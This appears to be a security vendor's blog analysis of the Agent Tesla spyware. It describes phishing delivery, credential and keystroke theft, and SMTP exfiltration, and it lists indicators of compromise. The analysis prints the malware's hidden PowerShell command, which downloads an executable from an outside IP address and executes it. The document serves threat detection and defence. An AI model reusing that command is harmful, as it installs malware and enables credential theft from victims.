Back to Blog
Research 3 min read

Agent Tesla: The RAT Spyware and Infostealer

Agent Tesla: The RAT Spyware and Infostealer

Agent Tesla is a Malware-as-a-Service Trojan that steals user information and exfiltrates it to the threat actors

Non-Technical Summary

Agent Tesla infects systems generally through a phishing email with an attachment. Users are tricked into opening the attachment, thereby installing the malware. Once installed, Agent Tesla captures sensitive data from the infected system and sends it to a predetermined external location.

About the Threat:

Agent Tesla was first observed in late 2014. It is a known malware-as-a-service spyware focused on stealing sensitive information from a victim’s device.

Agent Tesla uses email as the vector for initial infection. The email uses social engineering tactics to appear legitimate. Some samples appear to contain business enquiries while others contain shipment tracking information that are convincing enough to lure the unsuspecting victim into opening the attachment. On opening, the attachment downloads the malware installer which then establishes external communication and downloads the actual payload. This whole process uses obfuscation to escape detection. Once the installation is complete, two way communication with the CNC is established and information from the infected system is exfiltrated.

Some of the credentials it steals and exfiltrates are –

Credentials from System Registry

Saved credentials from a range of email, messaging applications and commonly used browsers

Credentials of files in VPN, download managers and FTP clients

Keyboard inputs (through a key-logger)

Screenshots

Clipboard data

The trojan generally seems to use CVE-2017-8570 exploit successfully. Another characteristic is the use of SMTP for data exfiltration.

Given that Agent Tesla gives full access of the affected system to the threat actors, it has far reaching repercussions on the victims. Ranging from stolen identity, restriction of access to system resources, launch of further attacks using the victim’s credentials are some of the typical actions of Agent Tesla.

SecneurX’s Analysis of the Modus Operandi

SecneurX's acquisition engine gathered artifacts and examined them using SecneurX Advanced Malware Analysis Platform. This platform provides unrivalled visibility and context to advanced threats with its extensive malware analysis & detection capabilities, in addition to generating a detailed report describing the malware behavior. Extracted Indicators of Compromise (IOCs) and human-readable behavior reports can be used to augment existing intelligence data and help to give ‘context’ to IPs, domains, URLs, registry, process activity, file names and hashes. One such analysis of an artifact is described by our analysts here.

The artifact analysed is SHA256=2ba5487668103c62614cfb4288d1c26a8d5172352b3b34363618c8c91c810818, a document named ‘Fund Released Detail.doc’. This was a Rich Text Format (RTF) file obtained from an email attachment.

The trojan’s behaviour is explained in the following steps.

Step 1

Once the file attachment is opened, it runs a script to download the installer. This can be seen in the rtf dump. Here, object 3 and 5 in the image are the same.

Fig1. RTF dump contents highlighting dumped files

Fig1. Shows contents of the rtf dump highlighting the dumped files

Step 2

The obfuscated script is executed and runs the following command -

powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('http[:]//173[.]232[.]204[.]89/ikik[.]exe','%APPDATA%\ikik.exe');Start-Process '%APPDATA%\mb.exe'"

Fig 2. Obfuscated script in the dumped files

Fig 2. Obfuscated script in the dumped files

Step 3

Communication with the CNC is established and the actual payload is downloaded from the CNC.

Fig 3. Downloaded mb.exe from the CNC

Fig 3. Downloaded mb.exe from the CNC

This payload completes the download of the malware and executes it.

Step 4

Once the execution is completed, it grants full control of the affected system to the CNC. User credentials and other information are accesed and the data is exfiltrated to the CNC. The use of SMTP to exfiltrate the data is to be noted here.

Fig 4. User credentials captured for exfiltration

Fig 4. User credentials captured for exfiltration

Fig 5. User credentials captured for exfiltration

Fig 5. User credentials captured for exfiltration

The full behavior report for the sample can be found in the following URL.

https://www.virustotal.com/gui/file/2ba5487668103c62614cfb4288d1c26a8d5172352b3b34363618c8c91c810818/behavior/SecneurX

Fig 6. The malware exhibiting living off the land and persistence mechanism

Fig 6. The malware exhibiting living off the land and persistence mechanism

Indicators of Compromise

URLs
hxxp[:]//173[.]232[.]204[.]89/ikik[.]exe
SHA256 Hashes
2ba5487668103c62614cfb4288d1c26a8d5172352b3b34363618c8c91c81081866a666207eeaedb3fdc11f12104c0a3f883bb72c51e9f15ff43e56eff8b47206695050381418e4ad11f96dbf99a3624cd42a46b4157d973fe26c3a49c60e143d696128615fd31444f97080cedda71ce2cb4bdfc2cd654bbb1931801f7dfb2a7f80071fbb7234239c46ced3c6f0fd9aa7dbeafe79d7bfeed7993d51a69c4da00695aa1cf2e4a12c6d2f9abe75462657683c073129ec04ed3a145c6af071c3c28c9d11da2a0336d5e8a9791e0b87f98635fd8cb7c98db1749241df64386d02ea86a3f600d0d1de53ee5f125b1fe51f90c393f74125767abe5bb7cb07725124d76da4906bbad1426add984a598b922f99b5cdcef06f2217ceb0061186c9ea0ac1c6a6f32d2c82c6ee870622b82d8307309a232c2906d555e30cd1cfbc48d489ca01ac87fc5457cd7299a3df5105d2acb586680a6e9771c9febb5f27434f8bad5d9db615de9997243c8fbef6fbc8f9e3890c22faa2adc6b3b849540ecff25b7d806ac03c78f82f01b7d63da5ec6c64b58170d85dc6b4c0cbfe90bf634fffe352ce75c9820950f03fc6b01a0683a000d5938cac812b8ae6d1c3bfc42af0bc2a8844facb836996444ea64cbbc74d40ae7a98f45a0ba279176f9b453ab7bcf62a144dedfaea010d01b24b5d602e5cd3e35d7ebb21fc5698732d7c546584ca4a736021ae